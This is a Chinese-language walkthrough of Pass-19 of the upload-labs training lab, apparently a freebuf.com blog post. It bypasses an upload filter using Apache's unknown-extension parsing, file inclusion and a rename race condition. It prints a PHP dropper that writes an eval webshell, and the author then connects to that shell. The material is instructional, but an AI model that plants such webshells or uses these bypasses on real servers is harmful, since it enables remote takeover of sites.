上传图片走起:
URL地址:http://localhost/upload-labs/upload1626843937.jpg
这次上传这个位置很奇怪,并没有上传到upload文件夹中!!!
查看提示!!!有是这个!!!
构造PAYLOAD!!!
19.php.jpg
<?php phpinfo();?>
与Pass-18相似,但是Pass-19进行了一个文件名过滤,不允许上传php文件
思路:结合apache的解析漏洞,考虑apache未知扩展名解析漏洞
不管最后后缀为什么,只要是.php.*结尾,就会被Apache服务器解析成php文件!
上传后的地址为:
http://localhost/upload-labs/upload1626847561.jpg
根据前文所描述的文件包含漏洞:
http://localhost/upload-labs/include.php
构造PAYLOAD信息:
http://localhost/upload-labs/include.php?file=./upload1626847561.jpg
访问即可以得到有效的回显!!!
但是,如果要这种方法的话:也不用这个19.php.jpg
直接采用图片马,也可以实现!!!!
但是,如果没有文件包含这个漏洞呢?继续找,这个题目的提示是代码审计!!!!
这里看了大佬的原理:这里是先移动文件,再修改文件名,所以的话是存在利用条件竞争来生成webshell的条件的!!!!
可以通过源代码,查看到可以上传文件的类型,这个文件中,可以上传且apache还不认识的,感觉只有7z后缀。
所以,这里我们构造一个PAYLOAD,名为pass19.php.7z
内容为:
<?PHP echo md5(1);fputs(fopen(‘shell.php’,’w’),'<?php @eval($_POST[cmd])?>’);?>
我们这里通过不断的上传这个文件,并通过上传文件的路径,不断访问这个文件!!!
首先,正常上传文件重命令后的地址为:http://localhost/upload-labs/upload1626843937.jpg
我感觉这个重命令之前,应该不会修改路径信息。
所以不断访问的URL地址为:http://localhost/upload-labs/uploadpass19.php.7z
只要成功,这个目录http://localhost/upload-labs/,就会生成webshell文件!!!!
见证奇迹的时刻!!!!
这里最重点的是上传文件后,原来文件名后加上了upload
接着就是蚁剑 连接!!!!
真TM不容易!!!!
来源:freebuf.com 2021-07-24 08:57:10 by: 知非知非知非
请登录后发表评论
注册